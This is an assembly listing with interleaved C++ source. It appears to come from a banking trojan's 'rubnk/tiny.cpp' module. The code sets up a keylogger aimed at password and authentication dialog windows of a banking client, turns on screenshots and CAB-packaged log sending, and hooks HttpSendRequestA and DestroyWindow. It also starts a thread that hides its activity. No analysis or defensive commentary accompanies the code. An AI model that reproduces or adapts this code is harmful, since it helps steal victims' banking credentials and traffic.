  000fb	75 02		 jne	 SHORT $LN22@ThreadHide
  000fd	8b c7		 mov	 eax, edi
$LN22@ThreadHide:
  000ff	50		 push	 eax
  00100	e8 00 00 00 00	 call	 ?FileExistsA@@YA_NQAD@Z	; FileExistsA
  00105	59		 pop	 ecx
  00106	84 c0		 test	 al, al
  00108	0f 85 4e ff ff
	ff		 jne	 $LL7@ThreadHide
; 1572 : 			if( runHideReplacement ) break;
  0010e	38 1d 00 00 00
	00		 cmp	 BYTE PTR _runHideReplacement, bl
  00114	0f 85 42 ff ff
	ff		 jne	 $LL7@ThreadHide
; 1573 : 			pSleep(1000);
  0011a	68 e8 03 00 00	 push	 1000			; 000003e8H
  0011f	e8 00 00 00 00	 call	 ??$pushargEx@$00$0DNJJHCPF@$0CP@H@@YAPAXH@Z ; pushargEx<1,1033466613,47,int>
  00124	59		 pop	 ecx
; 1574 : 		}
  00125	eb cf		 jmp	 SHORT $LL4@ThreadHide
?ThreadHideReplacement@Tiny@@YGKPAX@Z ENDP		; Tiny::ThreadHideReplacement
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ??_G?$TString@D@@UAEPAXI@Z
_TEXT	SEGMENT
___flags$ = 8						; size = 4
??_G?$TString@D@@UAEPAXI@Z PROC				; TString<char>::`scalar deleting destructor', COMDAT
; _this$ = ecx
  00000	56		 push	 esi
  00001	8b f1		 mov	 esi, ecx
  00003	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  00008	f6 44 24 08 01	 test	 BYTE PTR ___flags$[esp], 1
  0000d	74 07		 je	 SHORT $LN1@scalar@3
  0000f	56		 push	 esi
  00010	e8 00 00 00 00	 call	 ??3TBotObject@@SAXPAX@Z	; TBotObject::operator delete
  00015	59		 pop	 ecx
$LN1@scalar@3:
  00016	8b c6		 mov	 eax, esi
  00018	5e		 pop	 esi
  00019	c2 04 00	 ret	 4
??_G?$TString@D@@UAEPAXI@Z ENDP				; TString<char>::`scalar deleting destructor'
_TEXT	ENDS
PUBLIC	??_C@_0BA@NJHJHBBB@TKeyPasswordDlg?$AA@		; `string'
PUBLIC	??_C@_0N@MOPNOPGJ@TPasswordDlg?$AA@		; `string'
PUBLIC	??_C@_09LEMMMOMF@TfAuthNew?$AA@			; `string'
PUBLIC	?Init@Tiny@@YA_NPBD@Z				; Tiny::Init
EXTRN	?MegaJump@@YGHP6GKPAX@Z@Z:PROC			; MegaJump
EXTRN	?AddFilter@KeyLogger@@YAPAUTKlgWndFilter@@PAUTKeyLogSystem@@_N1PAD2KKK@Z:PROC ; KeyLogger::AddFilter
EXTRN	?AddSystem@KeyLogger@@YAPAUTKeyLogSystem@@PBDK@Z:PROC ; KeyLogger::AddSystem
;	COMDAT ??_C@_0BA@NJHJHBBB@TKeyPasswordDlg?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
CONST	SEGMENT
??_C@_0BA@NJHJHBBB@TKeyPasswordDlg?$AA@ DB 'TKeyPasswordDlg', 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_0N@MOPNOPGJ@TPasswordDlg?$AA@
CONST	SEGMENT
??_C@_0N@MOPNOPGJ@TPasswordDlg?$AA@ DB 'TPasswordDlg', 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_09LEMMMOMF@TfAuthNew?$AA@
CONST	SEGMENT
??_C@_09LEMMMOMF@TfAuthNew?$AA@ DB 'TfAuthNew', 00H	; `string'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\rubnk\tiny.cpp
CONST	ENDS
;	COMDAT ?Init@Tiny@@YA_NPBD@Z
_TEXT	SEGMENT
_appName$ = 8						; size = 4
?Init@Tiny@@YA_NPBD@Z PROC				; Tiny::Init, COMDAT
; 911  : {
  00000	53		 push	 ebx
  00001	56		 push	 esi
  00002	57		 push	 edi
; 912  : 	PKeyLogSystem S = KeyLogger::AddSystem( "tiny", PROCESS_HASH );
  00003	bb 12 db 30 95	 mov	 ebx, -1791960302	; 9530db12H
  00008	53		 push	 ebx
  00009	bf 00 00 00 00	 mov	 edi, OFFSET ??_C@_04MPBFNCPB@tiny?$AA@
  0000e	57		 push	 edi
  0000f	e8 00 00 00 00	 call	 ?AddSystem@KeyLogger@@YAPAUTKeyLogSystem@@PBDK@Z ; KeyLogger::AddSystem
  00014	8b f0		 mov	 esi, eax
  00016	59		 pop	 ecx
  00017	59		 pop	 ecx
; 913  : 	if( S == 0 ) 
  00018	85 f6		 test	 esi, esi
  0001a	75 10		 jne	 SHORT $LN6@Init
; 914  : 	{
; 915  : 		S = KeyLogger::AddSystem( "tiny", PROCESS_HASH2 ); //
  0001c	bb cb 99 bb 97	 mov	 ebx, -1749313077	; 97bb99cbH
  00021	53		 push	 ebx
  00022	57		 push	 edi
  00023	e8 00 00 00 00	 call	 ?AddSystem@KeyLogger@@YAPAUTKeyLogSystem@@PBDK@Z ; KeyLogger::AddSystem
  00028	59		 pop	 ecx
  00029	59		 pop	 ecx
  0002a	8b f0		 mov	 esi, eax
$LN6@Init:
; 916  : 		HashCurrProcess = PROCESS_HASH2;
; 917  : 	}
; 918  : 	else
; 919  : 		HashCurrProcess = PROCESS_HASH;
  0002c	89 1d 00 00 00
	00		 mov	 DWORD PTR _HashCurrProcess, ebx
; 920  : 	if( S != NULL )
  00032	85 f6		 test	 esi, esi
  00034	0f 84 d6 00 00
	00		 je	 $LN4@Init
; 921  : 	{
; 922  : 		DBG( "Tiny", "
; 923  : 		SetHooks2();
  0003a	e8 00 00 00 00	 call	 ?SetHooks2@Tiny@@YA_NXZ	; Tiny::SetHooks2
; 924  : 		m_lstrcpy( folderTiny, appName );
  0003f	ff 74 24 10	 push	 DWORD PTR _appName$[esp+8]
  00043	bf 00 00 00 00	 mov	 edi, OFFSET ?folderTiny@Tiny@@3PADA ; Tiny::folderTiny
  00048	57		 push	 edi
  00049	e8 00 00 00 00	 call	 ?m_lstrcpy@@YGXPADPBD@Z	; m_lstrcpy
; 925  : 		pPathRemoveFileSpecA(folderTiny); //
  0004e	57		 push	 edi
  0004f	e8 00 00 00 00	 call	 ??$pushargEx@$0BD@$0OGODOOAB@$0CBF@PAD@@YAPAXPAD@Z ; pushargEx<19,3873697281,533,char *>
; 926  : 		S->MakeScreenShot = true;
; 927  : 		S->SendLogAsCAB = true;
; 928  : 		char* classWnd = "TfAuthNew";
; 929  : 		PKlgWndFilter F1 = KeyLogger::AddFilter(S, true, true, classWnd, 0, FILTRATE_PARENT_WND, LOG_ALL, 5);
  00054	6a 05		 push	 5
  00056	6a 03		 push	 3
  00058	5f		 pop	 edi
  00059	57		 push	 edi
  0005a	6a 02		 push	 2
  0005c	6a 00		 push	 0
  0005e	33 db		 xor	 ebx, ebx
  00060	43		 inc	 ebx
  00061	68 00 00 00 00	 push	 OFFSET ??_C@_09LEMMMOMF@TfAuthNew?$AA@
  00066	53		 push	 ebx
  00067	53		 push	 ebx
  00068	56		 push	 esi
  00069	88 5e 18	 mov	 BYTE PTR [esi+24], bl
  0006c	88 5e 09	 mov	 BYTE PTR [esi+9], bl
  0006f	e8 00 00 00 00	 call	 ?AddFilter@KeyLogger@@YAPAUTKlgWndFilter@@PAUTKeyLogSystem@@_N1PAD2KKK@Z ; KeyLogger::AddFilter
  00074	83 c4 24	 add	 esp, 36			; 00000024H
; 930  : 		if( F1 )
  00077	85 c0		 test	 eax, eax
  00079	74 07		 je	 SHORT $LN3@Init
; 931  : 		{
; 932  : 			F1->OnActivate = Activeted;
  0007b	c7 40 50 00 00
	00 00		 mov	 DWORD PTR [eax+80], OFFSET ?Activeted@Tiny@@YAXPAX@Z ; Tiny::Activeted
$LN3@Init:
; 933  : 		}
; 934  : 		//
; 935  : 		//
 TfAuthNew 
; 936  : 		char* classWnd2 = "TPasswordDlg"; 
; 937  : 		PKlgWndFilter F2 = KeyLogger::AddFilter(S, true, true, classWnd2, 0, FILTRATE_PARENT_WND, LOG_ALL, 5);
  00082	6a 05		 push	 5
  00084	57		 push	 edi
  00085	6a 02		 push	 2
  00087	6a 00		 push	 0
  00089	68 00 00 00 00	 push	 OFFSET ??_C@_0N@MOPNOPGJ@TPasswordDlg?$AA@
  0008e	53		 push	 ebx
  0008f	53		 push	 ebx
  00090	56		 push	 esi
  00091	e8 00 00 00 00	 call	 ?AddFilter@KeyLogger@@YAPAUTKlgWndFilter@@PAUTKeyLogSystem@@_N1PAD2KKK@Z ; KeyLogger::AddFilter
  00096	83 c4 20	 add	 esp, 32			; 00000020H
; 938  : 		if( F2 )
  00099	85 c0		 test	 eax, eax
  0009b	74 07		 je	 SHORT $LN2@Init
; 939  : 		{
; 940  : 			F2->OnActivate = Activeted2;
  0009d	c7 40 50 00 00
	00 00		 mov	 DWORD PTR [eax+80], OFFSET ?Activeted2@Tiny@@YAXPAX@Z ; Tiny::Activeted2
$LN2@Init:
; 941  : 		}
; 942  : 
; 943  : 		char* classWnd3 = "TKeyPasswordDlg"; //
; 944  : 		PKlgWndFilter F3 = KeyLogger::AddFilter(S, true, true, classWnd3, 0, FILTRATE_PARENT_WND, LOG_ALL, 5);
  000a4	6a 05		 push	 5
  000a6	57		 push	 edi
  000a7	6a 02		 push	 2
  000a9	6a 00		 push	 0
  000ab	68 00 00 00 00	 push	 OFFSET ??_C@_0BA@NJHJHBBB@TKeyPasswordDlg?$AA@
  000b0	53		 push	 ebx
  000b1	53		 push	 ebx
  000b2	56		 push	 esi
  000b3	e8 00 00 00 00	 call	 ?AddFilter@KeyLogger@@YAPAUTKlgWndFilter@@PAUTKeyLogSystem@@_N1PAD2KKK@Z ; KeyLogger::AddFilter
  000b8	83 c4 20	 add	 esp, 32			; 00000020H
; 945  : 		if( F3 )
  000bb	85 c0		 test	 eax, eax
  000bd	74 07		 je	 SHORT $LN1@Init
; 946  : 		{
; 947  : 			F3->OnActivate = Activeted2;
  000bf	c7 40 50 00 00
	00 00		 mov	 DWORD PTR [eax+80], OFFSET ?Activeted2@Tiny@@YAXPAX@Z ; Tiny::Activeted2
$LN1@Init:
; 948  : 		}
; 949  : 
; 950  : 		RunThread( ThreadHideReplacement, 0 );
  000c6	6a 00		 push	 0
  000c8	68 00 00 00 00	 push	 OFFSET ?ThreadHideReplacement@Tiny@@YGKPAX@Z ; Tiny::ThreadHideReplacement
  000cd	e8 00 00 00 00	 call	 ?RunThread@@YAXPAX0@Z	; RunThread
  000d2	59		 pop	 ecx
  000d3	59		 pop	 ecx
; 951  : 		MegaJump(SendTiny);
  000d4	68 00 00 00 00	 push	 OFFSET ?SendTiny@Tiny@@YGKPAX@Z ; Tiny::SendTiny
  000d9	e8 00 00 00 00	 call	 ?MegaJump@@YGHP6GKPAX@Z@Z ; MegaJump
; 952  : 		SetHooks();
  000de	68 00 00 00 00	 push	 OFFSET _RealDestroyWindow
  000e3	68 00 00 00 00	 push	 OFFSET ?HandlerDestroyWindow@Tiny@@YGHPAUHWND__@@@Z ; Tiny::HandlerDestroyWindow
  000e8	68 b3 6d 4a eb	 push	 -347443789		; eb4a6db3H
  000ed	57		 push	 edi
  000ee	e8 00 00 00 00	 call	 ?HookApi@@YAPAXKKPAX0@Z	; HookApi
  000f3	68 00 00 00 00	 push	 OFFSET _RealHttpSendRequestA
  000f8	68 00 00 00 00	 push	 OFFSET ?HandlerHttpSendRequestA@Tiny@@YGHPAXPBDK0K@Z ; Tiny::HandlerHttpSendRequestA
  000fd	68 6a 85 13 9f	 push	 -1626110614		; 9f13856aH
  00102	6a 08		 push	 8
  00104	e8 00 00 00 00	 call	 ?HookApi@@YAPAXKKPAX0@Z	; HookApi
  00109	83 c4 20	 add	 esp, 32			; 00000020H
; 953  : 		return true;
  0010c	8a c3		 mov	 al, bl
  0010e	eb 02		 jmp	 SHORT $LN7@Init
$LN4@Init:
; 954  : 	}
; 955  : 	return false;
  00110	32 c0		 xor	 al, al
$LN7@Init:
  00112	5f		 pop	 edi
  00113	5e		 pop	 esi
  00114	5b		 pop	 ebx
; 956  : }
  00115	c3		 ret	 0
?Init@Tiny@@YA_NPBD@Z ENDP				; Tiny::Init
_TEXT	ENDS